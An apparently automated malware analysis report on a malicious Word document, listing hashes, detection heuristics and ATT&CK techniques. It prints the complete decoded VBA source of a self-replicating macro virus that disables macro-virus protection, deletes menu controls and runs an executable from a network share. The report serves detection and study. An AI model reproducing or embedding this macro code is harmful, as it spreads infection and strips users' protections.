Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebf4e715a73e9f1e…

MALICIOUS

Office (OLE)

96.0 KB Created: 2015-01-04 02:46:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 93e0f9cb4e5d6e3e1ea6dca81376958c SHA-1: 65c34f6f5477271f36caf2d96c1c8fb888891019 SHA-256: ebf4e715a73e9f1ed5258b9db7b0b03310ff3e33b60a5671cd361abce4bfc842
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The 'Document_Close' subroutine includes logic for self-replication and attempts to execute a file located at '\jdq\cc$\b.exe' using a Shell command. This indicates the macro is designed to spread and download/execute a second-stage payload.

Heuristics 7

  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Contains Equation Editor object — related to CVE-2017-11882 / CVE-2018-0802 exploitation, but CLSID presence alone is not the malformed MTEF exploit primitive.
  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("\\jdq\cc$\b.exe")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3515 bytes
SHA-256: a7c0ee9788f9ad4061078e75160fae4a2c6c38f6891beefc9319f5cd22df8e24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If


End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

End Sub